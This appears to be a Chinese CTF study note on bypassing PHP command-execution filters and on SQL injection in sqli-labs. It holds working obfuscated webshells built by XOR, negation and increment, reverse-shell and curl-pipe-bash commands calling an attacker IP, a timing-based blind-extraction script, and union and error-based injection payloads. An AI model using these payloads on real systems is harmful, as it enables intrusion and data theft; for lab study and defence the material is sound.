*可以用来匹配多个字符

sort fl??????
sort fl*

反斜杠转义

so\rt fl\ag.txt
//过滤了sort和flag字符

方括号[]

sort fl[a]g.txt
//不可用于sort等关键字

# 无字母无数字RCE

# 异或

如果题目要求不能使用字母和数字：

preg_replace('/[a-z0-9]/is',$_GET['cmd'])

可以采用异或运算：

如果a,b两个值不相同则异或结果为1，相同则为0

<?php
highlight_file(__FILE__);
echo "5"^"Z";

这里的结果显示5和Z的异或结果为o，具体原理如下：

5的二进制：00110101
Z的二进制：01011010
按位进行异或运算：01101111 -> 解码结果为o

所以我们可以通过其他字符比如%$*&等经过异或运算得到字母数字

<?php
highlight_file(__FILE__);
function o(){
    echo "ZLARRY";
}
$_="5"^"Z";
$_();

在做无字母无数字RCE还有一个技巧就是用_来命名

这里给出橙子科技的异或运算脚本：

<?php
header("content-type:text/html;charset=utf-8");
highlight_file(__FILE__);
error_reporting(0);
$shell = $_GET['cmd'];
$result1="";
$result2="";

function judge($c){
    if(!preg_match('/[a-z0-9]/is',$c)){
        return true;
    } return false;
}
for($num=0;$num<strlen($shell);$num++){
    for($x=33;$x<=126;$x++){
        if(judge(chr($x))){
            for($y=33;$y<=126;$y++){
                if(judge(chr($y))){
                    $f = chr($x)^chr($y);
                    if($f == $shell[$num]){
                        $result1.=chr($x);
                        $result2.=chr($y);
                        break 2;
                    }
                }
            }
        }
    }
}
echo "</br>";
echo "异或运算第一部分：".$result1;
echo "</br>";
echo "异或运算第二部分：".$result2;

传入cmd为需要的字符串就可以得到结果

<?php
highlight_file(__FILE__);
error_reporting(0);
if(!preg_replace('/0-9a-z/is',$_GET['cmd'])){
    eval($_GET['cmd']);
}

比如这道题目就可以用异或出来的两部分：

异或运算第一部分：+(+).&/
异或运算第二部分：[@[@@@@
//构造phpinfo

然后传入：

/?cmd=$_="%2B(%2B).%26%2F"^"%5B%40%5B%40%40%40%40";$_();
//经过URL编码

如果我们希望执行其他一些RCE命令，可以通过写一句话木马（php5条件下）：

<?php
$_='assert'; //assert替换为"!((%)("^"@[[@[\"
$__='_POST'; //_POST替换为"!+/(("^"~{`{|"
$___=$$__;
$_($___['_']);
?>

<?php
$_="!((%)("^"@[[@[\\"; //这里需要多加一个反斜杠转义\，否则会出错
$__="!+/(("^"~{`{|";
$___=$$__;
$_($___['_']);
?>

这样我们就可以post提交ls,cat /flag等命令

此外还需要进行URL编码

php7条件下不能使用assert，但可以使用``` 反引号： $_POST['_'] 但是没有回显

<?php
$_="!+/(("^"~{`{|";
$__=$$_;
`$__[_]`;
?>

所以可以采用反弹shell：

kali上开启监听：
nc -lvp 7777
POST提交：
_=nc [ip] 7777 -e /bin/bash

# 取反

具体思路与异或差不多，取反顾名思义就是按位将1变为0，将0变为1

~()会对括号里面的内容进行取反

<?php
$a='a';
echo bin2hex($a);

这串代码输出a的 ASCII码结果为61，对应二进制为01100001，经过取反后变成10011110对应十六进制为9E，但是由于ASCII码十六进制最大为7F，故%9E这个字符其实不存在

<?php
$a='%9E';
$b=~(urldecode($a));
echo $b;
//输出内容为a

但是经过取反可以看到输出了字母a，就可以实现无字母绕过

此外橙子科技给了一种中文字符串的方法：

<?php
$a="极";
echo bin2hex($a);
echo ~($a{1});
//这串代码输出结果前一行为e69e81,0位e6,1位9e,2位81
//所以最后取反$a{1}其实就是取反$a的1位9e,即~(9e)结果为a

这个的payload老长一串，想一下还是用URL编码的poc吧（php5）：

<?php
$_=~("%9e%8c%8c%9a%8d%8b"); //assert
$__=~("%a0%af%b0%ac%ab"); //_POST
$___=$$__;
$_($___['_']);
?>

php7条件下还是用反引号：

<?php
$_=~("%a0%af%b0%ac%ab");
$__=$$_;
`$__['_']`;
?>

然后还是使用shell反弹

# 自增

<?php
$a=A;
echo ++$a;
?>

这串代码输出结果为B，利用这个原理我们可以实现绕过，只要获取A我们就可以获得其他字母

++$a //先累加再输出
$a++ //先输出再累加

获取A的方法：

<?php
$_=[].'';
echo $_[0];
?>

原因是[]本来作为一个数组，后面用.拼接上字符串后var_dump结果就变成了字符串Array

<?php
highlight_file(__FILE__);
$_=[];
var_dump($_);
$__=[].'';
echo "</br>";
var_dump($__);

那么我们就可以通过$_[0]获取字母A

但是又由于无数字，所以还需要稍作修改：

<?php
$_=[].'';
echo $_[$__];
//$__变量不存在，假值0
?>

橙子科技的自增脚本：

<?php
highlight_file(__FILE__);
$cmd=strtoupper($_GET['cmd']);
$cmd2=strtoupper($_GET['post']);
function POC($cmd){
    $i=0;
    $POC_pat1="\$__=\$___;";
    $POC_pat2="\$_.=\$__;";
    while ($i<strlen($cmd)){
        $str1=$cmd[$i];
        $POC1=base_convert(bin2hex("A"),16,10);
        if($i<1){
            $POC_pat3=str_repeat("++\$__;",$POC1);
            echo $POC_pat3;
        }else{
            $str2=$cmd[$i-1];
            if($str1==$str2){
                $POC_pat5=$POC_pat2;
                echo  $POC_pat5;
            }else{
                $POC_pat6=$POC_pat1.str_repeat("++\$__;",$POC1).$POC_pat2;
                echo $POC_pat6;
            }
        }
        $i++;
    }
}

function POC2($cmd){
    $i=0;
    echo '$____ = "_";$__=$___;';
    $POC_pat1="\$__=\$___;";
    $POC_pat2="\$____.=\$__;";
    while ($i<strlen($cmd)){
        $str1=$cmd[$i];
        $POC1=base_convert(bin2hex($str1),16,10)-base_convert(bin2hex("A"),16,10);
        if($i<1){
            $POC_pat3=str_repeat("++\$__;",$POC1).$POC_pat2;
            echo $POC_pat3;
        }else{
            $str2=$cmd[$i-1];
            if($str1==$str2){
                $POC_pat5=$POC_pat2;
                echo $POC_pat5;
            }else{
                $POC_pat6=$POC_pat1.str_repeat("++\$__;",$POC1).$POC_pat2;
                echo $POC_pat6;
            }
        }
        $i++;
    }
}

if(!empty($cmd)){
    $POC_pat7 = "\$_=[].'';\$___=\$_[\$__];\$__=\$___;\$_=\$___;";
    echo $POC_pat7;
    POC($cmd);
}
if(!empty($cmd2)){
    POC2($cmd2);
}

传入：

/?cmd=assert&post=POST

结果为：

$_=[].'';$___=$_[$__];$__=$___;$_=$___;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$_.=$__;$_.=$__;$__=$___;++$__;++$__;++$__;++$__;$_.=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$_.=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$_.=$__;$____ = "_";$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____.=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____.=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____.=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____.=$__;

上面这一大段内容中就存在了assert和POST

$_=[].'';$___=$_[$__];$__=$___;$_=$___;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$_.=$__;$_.=$__;$__=$___;++$__;++$__;++$__;++$__;$_.=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$_.=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$_.=$__;$____ = "_";$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____.=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____.=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____.=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____.=$__;

$__=$$____;
$_($__['_']);

最后两行就是$_POST和assert($_POST['_'])了

记得需要URL编码

php7只需要获得一个POST（前提是得先获得A）：

传入/?cmd=a&post=POST

$_=[].'';$___=$_[$__];$__=$___;$_=$___;$____ = "_";$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____.=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____.=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____.=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____.=$__;

$_=$$____;
`$_`;

# 无参数RCE

题目如下：

<?php
error_reporting(0);
highlight_file(__FILE__);
if(';'===preg_replace('/[^\W]+\((?R)?\)/','',$_GET['code'])){
    eval($_GET['code']);
}
?>

preg_replace('/[^\W]+\((?R)?\)/','',$_GET['code'])

其中这段代码：

正则表达式[^\W]匹配字母数字下划线[A-Za-z0-9_]
[^\W]+\((?R)?\)匹配到"a()"形式的字符串，但是()里面不能出现任何参数
(?R)代表递归，即a(b(c()))都能匹配

<?php
error_reporting(0);
highlight_file(__FILE__);
$c="ZLARYY";
$d="ZLARYY()";
$e="ZLARYY(2L47yY)";
$a=preg_replace('/[^\W]+\((?R)?\)/','',$c);
$b=preg_replace('/[^\W]+\((?R)?\)/','',$d);
$f=preg_replace('/[^\W]+\((?R)?\)/','',$e);
echo $a."</br>".$b."</br>".$f;

可以看到这个匹配只把第二项替换为空，而题目的意思是如果被替换后的字符串只剩下分号，那么就放进去执行eval

# 请求头绕过

getallheaders()：获取所有HTTP请求标头
pos()：获取数组第一项的值
end()：获取数组最后一项的值

但是我们需要用print_r打印结果

使用view-source查看就是这样：

调用pos()函数获取getallheaders()返回数组的第一项内容，得到的却是Connection里面的内容，这里就是无参数RCE漏洞的利用地方了：

Connection: system("sort flag.txt");
//通过这样修改可以将最后的code变为：
code=print_r(system("sort flag.txt"););
//如果我们将pirnt_r换成eval，那么就可以执行命令：
code=eval(system("sort flag.txt"););

除了修改Header，还可以添加Header：

apache_request_headers()功能与getallheaders()相似，适用于Apache服务器

# 全局变量(php5/7)

get_defined_vars()：返回所有已定义变量的值所组成的数组
返回数组顺序为GET->POST->COOKIE->FILES

之后我们可以通过添加传参数量来增加变量键值对

其实从前两张图不难看出结果是两个数组嵌套，上一张图片我采用了pos获取了数组中的第一个数组，现在我还想要获取这个数组中的最后一项的值，可以采用调用end函数：

那么和请求头绕过一样，我们可以将print_r改为eval就可以了：

# session

session_start()：启动新会话或者重用现有会话，成功开始会话会返回TRUE，反之返回FALSE
session_id()：可以获取PHPSEEID的值

这样我们是不是就可以通过burp修改PHPSESSID为执行命令的函数来实现RCE了：

貌似不行，不过修改为flag.txt倒是能按预期显示：

那就好办了：

show_source()：可以查看括号内文件名所含的文件内容

不过如果想要执行eval的话也可以：

需要先把命令HEX编码转为十六进制写入PHPSESSID，再用hex2bin函数将十六进制转为二进制，用eval执行

其中PHPSESSID是system("sort flag.txt");的编码结果

# scandir读取

# scandir()

scandir()：类似ls，在某文件路径下，把内容以列表形式显示出来

<?php
highlight_file(__FILE__);
print_r(scandir('.'));
//scandir里面必须要有路径

# getcwd()

getcwd()：类似pwd，获取当前工作目录路径

# current()与next()

current()：返回数组的第一个内容，与pos()类似
next()：把数组中的第二个内容显示出来

# array_reverse()

array_reverse()：按照倒序重新排列数组

# array_flip()与array_rand()

array_flip()：将数组中的键名与值对换
array_rand()：从数组中随机取出一个或多个随机键

每一次刷新界面都可能改变产生的随机值

# chdir()

chdir()：系统调用函数，同cd，用于改变当前工作目录

如果是确定了路径返回为1，否则返回为0

# strrev()

strrev()：用于反转给定的字符串

# crypt()

crypt()：用于加密，目前Linux平台上的加密方法大致有MD5,DES,3 DES

# hebrevc()

hebrevc()：把希伯来文本从右至左的流转换为从左至右的流

# localeconv()

localeconv()：查看当前目录名

这个数组的第一个键值对的值为一个点.，可以用current()获得，配合上scandir()就可以查看当前目录下的所有文件：

<?php
highlight_file(__FILE__);
print_r(scandir(current(localeconv())));

这里为了方便，我把php文件和flag.txt放在了flag文件夹里

那么我们可以采用这种方法：

print_r(array_reverse(scandir(current(localeconv()))));

用array_reverse把数组倒序排列之后我们就可以再用current()和show_source读取到文件内容了：

show_source(current(array_reverse(scandir(current(localeconv())))));

# dirname()

dirname()：可以把上一个目录的绝对路径输出

那么我想查看上级目录就可以用到：

print_r(scandir(dirname(getcwd())));

不过这种条件下我们不能使用show_source来查看文件，因为show_source是基于当前页面路径来的，一定要查看的话就只能使用chdir()了

/?code=print_r(chdir(dirname(getcwd())));

返回1说明目录跳转到上级成功

/?code=print_r(scandir(dirname(chdir(dirname(getcwd())))));

我的理解就是后半部分为chdir跳转目录的参数，与实际是否跳转目录无关，最后再dirname帮助用户从视觉上跳转到上级目录，这样就可以用show_source查看文件了

那像这种情况，我想读取的文件既不在开头又不在末尾，就可以使用array_flip和array_rand

/?code=print_r(array_flip(array_rand(scandir(dirname(chdir(dirname(getcwd())))))));

这样虽然是随机的，但是多刷新几次总会能用show_source查看到的：

/?code=show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
//由于没有把flag.txt转移出来，将就看咯^ _ ^

# 根目录

我想回到根目录怎么操作：

/?code=print_r(array());
/?code=print_r(serialize(array()));
//用serialize序列化
/?code=print_r(crypt(serialize(array())));
//crypt单向字符串三列加密，结果随机

某些随机的结果下，字符串末尾会出现/根目录字符，此时只需要使用strrev进行倒序排列

/?code=print_r(strrev(crypt(serialize(array()))));

# ord()与chr()

ord()：对字符串的第一个字符进行编码
chr()：对编码字符进行解码

有了这两个函数我们就可以从长串字符串中获得第一个/字符

/?code=print_r(chr(ord(strrev(crypt(serialize(array()))))));

然后我们继续采用scandir就可以实现与ls /一样的功能了：

/?code=print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));

通常情况下根目录下flag文件都不会出现在首末，所以又需要一个随机的array_rand(array_flip())套上去

/?code=print_r(array_rand(array_flip(scandir(chr(ord(strrev(crypt(serialize(array())))))))));

这样随机加上随机，等查看到flag不知道要刷新多少次，建议使用burp的intruder

还记得show_source的特性吗，必须还要嵌套上dirname(chdir()):

/?code=print_r(array_rand(array_flip(scandir(dirname(chdir(chr(ord(strrev(crypt(serialize(array())))))))))));

# 无回显

页面无法shell反弹或者无法回显，或者没有写入权限可以尝试命令盲注，根据返回时间判断

sleep：指定页面响应时间
awk NR：语法为awk NR==number，比如awk NR==1为回显第一行的内容
//cat flag|awk NR==1
cut -c：语法为cut -c number，比如cut -c 1为显示第一个字符
//cat flag|awk NR==1|cut -c 1

if判断语句：

if [ /*条件*/ ];then /*动作*/;fi(finish的意思)
//注意空格

所以可以类比SQL注入里面的时间盲注：

if [ $(cat flag.txt|awk NR==1|cut -c 1)==f ];then sleep 2;fi

如果条件为真，那么延迟两秒响应，这里是橙子科技给的python脚本：

import requests
import time
url="/*目标URL*/"
result=""
for i in range(1,5):
    for j in range(1,10):
        for k in range(32,128):
            k=chr(k)
            time.sleep(0.1)
            payload="?cmd=(传参格式)"+"if [ `ls|awk NR=={i}|cut -c {j}`=={k} ];then sleep 2;fi"
            try:
                requests.get(url+payload,timeout=(1.5,1.5))
            except:
                result=result+k
                print(result)
                break
    result +=""

需要修改的就是目标URL和传参格式以及命令

# 限制长度的RCE

这一part本人的docker有点问题就没有演示了orz

# 限制长度为7

例题：

<?php
error_reporting(0);
highlight_file(__FILE__);
function filter($argv){
    $a=str_replace("/\*|\?|/","=====",$argv);
    return $a;
}
if(isset($_GET['cmd'])&&strlen($_GET['cmd'])<=7){
    exec(filter($_GET['cmd']));
}else{
    echo "flag in local path flag file!!";
}
?>

需要的命令符：

> 创建不超过七个长度的文件名
ls -t 按时间顺序列出文件名，按行储存
\ 连接换行命令
sh 从文件中读取命令

期望执行的命令：cat flag|nc /*IP*/ 7777比如：cat flag|nc 192.168.1.161 7777

我们的逻辑是将这一串命令分隔为几部分作为文件名，这些文件名用ls -t会按被创建的时间顺序排列：

>ZL
>AR
>YY
最后ls查看结果为：
YY AR ZL

当我们按倒序创建文件之后，就可以利用ls -t>a将这些文件放在a文件中，最后sh a就可以执行需要的命令了：

?cmd=>7777
?cmd=>\ \\
//在创建文件名时利用到的空格和反斜杠和管道符都需要被转义
?cmd=>161\\
?cmd=>1.\\
?cmd=>168.\\
?cmd=>192.\\
?cmd=>c\ \\
?cmd=>\|n\\
?cmd=>flag\\
?cmd=>t\ \\
?cmd=>ca\\
?cmd=ls -t>a
?cmd=sh a

首先要开启kali监听：nc -lvp 7777

# 长度为5

<?php
error_reporting(0);
highlight_file(__FILE__);
function filter($argv){
    $a=str_replace("/\*|\?|/","=====",$argv);
    return $a;
}
if(isset($_GET['cmd'])&&strlen($_GET['cmd'])<=5){
    exec(filter($_GET['cmd']));
}else{
    echo "flag in local path flag file!!";
}
?>

由于长度为5的限制，导致ls -t>a无法使用，并且如果写为文件名为空格的话也只能写一次，因为文件名不能重复>\ \\（长度刚好为5），所以需要更换期望执行的命令：

curl 192.168.1.161|bash

同时还需要kali开启一个web服务默认index.html页面内容为：

nc 192.168.1.161 -e /bin/bash

然后执行curl命令就会下载默认页面的html内容并通过管道符交给bash执行，那么此时kali再开启监听就能看到命令执行的结果

不过由于无法使用ls -t>a，那我们首先还需要构造这一串命令：

>ls\\
ls>_
//由于默认排序ls\\会被排在最后面，所以就需要把他写入到名字为_的文件里面
>\ \\
>-t\\
>\>y
ls>>_
//采用追加>>的写法将剩下的命令写入_

然后就是构造命令了：

>bash
>\|\\
>61\\
>1\\
>1.\\
>68\\
>2.\\
>19\\
>\ \\
>rl\\
>cu\\

sh _
//实际上就是执行ls -t>y
sh y

touch index.html
vim index.html
//在index.html里面写入：nc 192.168.1.161 7777 -e /bin/bash
python -m http.server 80

//这个是创建index.html页面

# 长度为4

<?php
error_reporting(0);
highlight_file(__FILE__);
function filter($argv){
    $a=str_replace("/\*|\?|/","=====",$argv);
    return $a;
}
if(isset($_GET['cmd'])&&strlen($_GET['cmd'])<=4){
    exec(filter($_GET['cmd']));
}else{
    echo "flag in local path flag file!!";
}
?>

长度为4导致ls>>_不能使用

首先还是需要构造ls -t>g，其次我们需要构造反弹shell：curl 192.168.1.161|bash的变形：

curl 0xC0A801A1|bash //IP地址的的十六进制

dir 按列输出文件名，不换行
* 相当于$(dir *)
//*如果第一个文件名是命令的话就会执行命令，返回执行的结果，之后的文件名作为参数传入
rev 可以反转文件每一行的内容

>g\>
>ht-
//加上h不影响命令ls -th的执行，但是可以让生成的文件名ht-排列在sl前面
>sl
>dir
*>v
//这里cat v会看到：g> ht- sl，所以需要把他们写入文件使用rev v，但长度为5
>rev
*v>x
//这里的*为通配符，前可以匹配rev，后可以执行v
//最后x的内容就是ls -th >g

同时为了防止g后面有其它文件名造成影响，可以多创建一个文件g\;用;去隔断后面字符的影响

然后就是创建curl命令的文件了，最后执行：

sh x
sh g

与限制长度为5一样需要kali开启index.html

SQL

2026-02-22T06:50:00.000Z

# SQL

所谓SQL注入，就是通过把SQL命令插入到WEB表单提交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令，从而进一步得到相应的数据信息。

# 字符型注入

字符型注入需要闭合符

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

提交/?id=1' and 1=1结果为：

$sql="SELECT * FROM users WHERE id='1' and 1=1' LIMIT 0,1";

这时候就多出来了一个'，所以我们需要用注释符（--+或%23或#）将后面的内容注释掉

常见的闭合符有：' " ') ") 其他

假设我们无法查看源码的时候我们怎么判断闭合符是什么：

我们可以尝试输入两种不同的闭合符：

我们传入的内容是/?id=1'"

报错内容是：

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"' LIMIT 0,1' at line 1

其中'"' LIMIT 0,1'就告诉我们闭合符是什么了：

该报错内容首先用''单引号包裹问题地方的字符串，所以有问题地方为"' LIMIT 0,1，这意味着我们传入的'"前一个单引号成功起到了闭合作用而后一个双引号和原本的闭合符成为了出现语法错误的内容，所以闭合符为'单引号

# 数字型注入

数字型注入不需要闭合符

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

提交/?id=1 and 1=1结果为：

$sql="SELECT * FROM users WHERE id=1 and 1=1 LIMIT 0,1";

# Union联合注入

这里以sqli-labs的Less-1为例：

根据提示，这一关需要我们输入一个名为id的参数并且值为数字，查找注入点之后应该发现是GET型传参

经过尝试发现为字符型注入并且闭合符为'单引号

union联合注入步骤如下：

/?id=1' group by 4 --+ //报错     /*group by也可替换为order by*/
/?id=1' group by 3 --+ //成功登录
//判断原有的查询中列数为3
/?id=0' union select 1,database(),3  --+ //查询数据库名
/?id=0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 --+ //查询表名
/?id=0' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database()),3 --+  //查询列名
/?id=0' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),3 --+  //查询指定表名中的列名
/?id=0' union select 1,(select group_concat(username,'~',password) from users),3 --+  //查询指定表名中指定列名的内容并通过~字符连接起来

接下来详细解释这些 payload的一些细节：

为什么需要用到UNION：

当我们试图通过注入查询数据库名时，通常会使用database()函数，但原有的网页代码并没有这个函数，就必须把自己的查询强行拼接到原有查询后面，这就需要用到UNION 或 UNION SELECT
为什么需要判断列数：

在SQL数据库中，参与UNION联合查询的左右两边列数必须完全一致
为什么后面的payload需要把?id=1换为?id=0：

UNION的作用是把两个独立的SELECT查询结果上下拼接成一张表，原始查询需要查id,uername,password三列，（所以判断列数为3），由于该回显只会回显第一行的内容，如果前面的查询成功执行，那么查询结果一共有两行，为我们无法看到后面的查询结果，所以需要让前一行查询失败，这样查询结果就只有一行内容，同理我们把注入结果(database()结果)放在第二列也是由于第一列没有回显
对一些名词的解释：
- information.schema：这是MySQL5.0版本之后自带的系统数据库，里面存放有MySQL服务器上所有数据库信息
- .tables：这是information_schema库里面的一个具体的表，这个表记录了整个 MySQL 系统中所有的表的信息。其中有一个字段叫 table_name，顾名思义，存的就是表的名字。
- table_schema：这与table_name一样也是information_schema.tables里面的一个字段，表示该表所属的数据库名
- database()：这是一个MySQL内置函数，它会返回当前网站正在连接使用的数据库名称
- group_concat()：这是MySQL中的一个聚合函数，可以将查询出来的多行结果合并为一个长字符串，默认用,逗号分隔

# 报错注入

# extractValue

当网页没有回显位置（页面上不显示union select的查询数据）但是可以显示数据库的报错信息时，可以采用报错注入

extractvalue正常用法是从XML中提取数据

EXTRACTVALUE(xml_document, xpath_string)

参数1(xml_document)：一段 XML 格式的字符串。

参数2(xpath_string)：一段 XPath 路径（类似于文件目录的路径，比如 /a/b/c），用来告诉 MySQL 去哪里找数据。

但是如果采用如下方法：

extractvalue(1,concat('~',(select database()))) --+

那么MySQL就会试图解析错误的XPath：~+查询到的数据库名称，这样一串报错信息就会回显出来

concat()将查询内容与指定字符~拼接在一起就能确保绝对能报错

这里以Less-5为例：

可以看到没有回显我们的正常查询结果，尝试采用报错注入：

/?id=1' and 1=1 --+ //判断注入类型
/?id=1' and extractvalue(1,concat('~',(select database()))) --+ //查询数据库名
/?id=1' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+ //查询表名
/?id=1' and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database()))) --+ //查询列名
/?id=1' and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))) --+ //查询指定表名中的列名
/?id=1' and extractvalue(1,concat('~',(select group_concat(username,'~',password) from users))) --+  //查询指定表名中指定列名的内容并通过~字符连接起来

不过可以看到在查询最终username和password结果并将他们用~拼接起来时，发现似乎不能显示完所有的信息

这是由于extractvalue函数存在长度限制，他能返回的字符串最多只有32个字符，如果要查询的内容通过group_concat()拼接后总长度超过32个字符就会被截断，所以我们先需要用到substring函数解决这个问题

# substring()

标准用法为：

SUBSTRING(要截取的字符串, 开始位置, 截取长度)

举个例子：

substring('ZLARYY{2L47yY}',1,6)   //结果为'ZLARYY'

这一串表示从第一个字符开始截取长度为6的字符串（SQL中字符串起始位置从1开始）

除了substring()，还可以使用substr()和mid()，用法相同

有了substring函数我你们就可以解决extractvalue的截断问题了：

?id=1' and extractvalue(1,concat('~',substring((select group_concat(username,'~',password) from users),31,32))) --+

让查询到的内容作为substring函数的第一个参数，后面跟上开始位置和截取长度

# limit

limit也可以用来绕过32字符截断限制：

LIMIT 偏移量(Offset), 返回的数量(Count)

LIMIT 的作用是限制查询结果返回的行数。它的标准语法包含两个参数

注意：LIMIT的第一个参数偏移量从0开始

如果我们使用limit，那就无需使用group_concat将查询内容拼接到一行，比如：

extractvalue(1,concat('~',(select concat(username,'~',password) from users limit 0,1))) //将偏移量设为0，返回1行数据

这条语句在Less-5中返回内容如下：

extractvalue(1,concat('~',(select concat(username,'~',password) from users limit 1,1))) //将偏移量设为1，返回1行数据

总的来说就是substring()、mid()用于横向切割太长的字符串，limit用于纵向切割

# updateXml

updatexml与extractvalue报错注入原理相同，都是利用非法的XPath路径格式报错

UPDATEXML(xml_document, xpath_string, new_xml)

参数1(xml_document)：原本的 XML 字符串。

参数2(xpath_string)：XPath 路径（告诉数据库要去 XML 的哪个位置修改）。

参数3(new_xml)：想要替换进去的新内容。

所以利用updatexml爆数据库名应该是如下语句：

updatexml(1,concat('~',(select database())),2)

依然可以以Less-5为例：

/?id=1' and updatexml(1,concat('~',(select database())),3) --+ //查数据库
/?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) --+ //查表名
/?id=1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database())),3) --+ //查列名
/?id=1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),3) --+ //查询指定表名中的列名
/?id=1' and updatexml(1,concat('~',(select group_concat(username,'~',password) from users)),3) --+ //查询指定表名中指定列名的内容并通过~字符连接起来
/?id=1' and updatexml(1,concat('~',substring((select group_concat(username,'~',password) from users),31,32)),3) --+ //绕过截断

# floor

floor报错注入中涉及到的函数：

rand()：随机函数，生成0~1的小数
floor()：向下取整函数 //floor(1.9)=1 floor(1.2)=1 ceiling()为向上取整函数
concat_ws()：将括号内数据用第一个字段连接起来
count()：汇总统计数量
as：别名
limit：这里用于显示指定行数
group by：分组语句

还有一个伪随机数概念：如果只调用rand()函数，系统会用当前时间作为”种子“，每次的运行结果都不一样，但如果给他指定了一个固定的种子比如rand(0)，那么无论运行多少次计算出来的一系列随机数都是一样的，那么经过floor(rand(0)*2)处理之后，产生的序列永远是0、1、1、0、1......

那么为什么需要这一串序列呢？解释如下：

当MySQL处理group by floor(rand(0)*2)时，会在后台新建一张临时表，扫描数据表时底层逻辑如下：
1.MySQL读第一行内容，第一次计算floor(rand(0)*2)为0
2.MySQL去临时表里查找是否存在0这个主键->发现没有，于是准备插入数据表的内容到临时表
3.在插入数据时，MySQL没有直接用刚才算出来的0，而是计算第二次floor(rand(0)*2)为1
4.MySQL将1作为主键插入临时表
//这是扫描第一行数据，接下来扫描第二行数据：
1.MySQL继续扫描，第三次计算floor(rand(0)*2)为1
2.MySQL去临时表里查找是否存在1这个主键->发现存在，于是直接把主键1对应的数量（count）加1。这里没有触发重新计算
//接下来扫描第三行数据：
1.MySQL进行第四次计算floor(rand(0)*2)为0
2.MySQL去临时表里查找是否存在0这个主键->发现没有，于是准备插入数据表的内容到临时表
3.与扫描第一行数据时一样，没有直接使用第四次计算得到的0，而是进行第五次计算floor(rand(0)*2)为1
4.MySQL试图将1作为新主键再次插入临时表，但是由于临时表中已经包含了1这个主键，导致MySQL崩溃报错
Duplicate entry '1' for key 'group_key' （主键冲突！）

根据以上原理，如果想要实现稳定报错的话，floor(rand(0)*2)至少需要被计算五次，数据表中至少存在三行数据，所以通常去查information_schema.tables，因为这张表里数据绝对足够多

这里拿到一个大佬的payload[SQL注入报错注入之floor()报错注入原理分析_sql注入floor-CSDN博客]来分析：

1 AND (SELECT 1 from 
(SELECT count(*),concat(0x23,(SELECT schema_name from information_schema.schemata LIMIT 0,1),0x23,floor(rand(0)*2)) as x 
from information_schema.`COLUMNS` GROUP BY x) 
as y)

首先(SELECT schema_name from information_schema.schemata LIMIT 0,1)这一串内容是查询数据库的语法，我们把这一串内容称作'核心查询'，或者可以使用(select database())，当然别忘了数据表中至少有三行数据的条件，这里采用的是information_schema.`COLUMNS`，如果想要使用database()可以利用我们之前提到的information_schema.tables

然后看第二层：concat(0x23,(核心查询),0x23,floor(rand(0)*2)) as x

0x23为#的十六进制，concat将查询内容按照#查询结果#floor(rand(0)*2)拼接在一起并给这串字符串起别名为x，假设数据库名叫做security，那么x会在两种字符串中反复切换：

#security#0
#security#1

之后是触发报错的代码：

SELECT count(*), (拼接的x) from information_schema.tables group by x

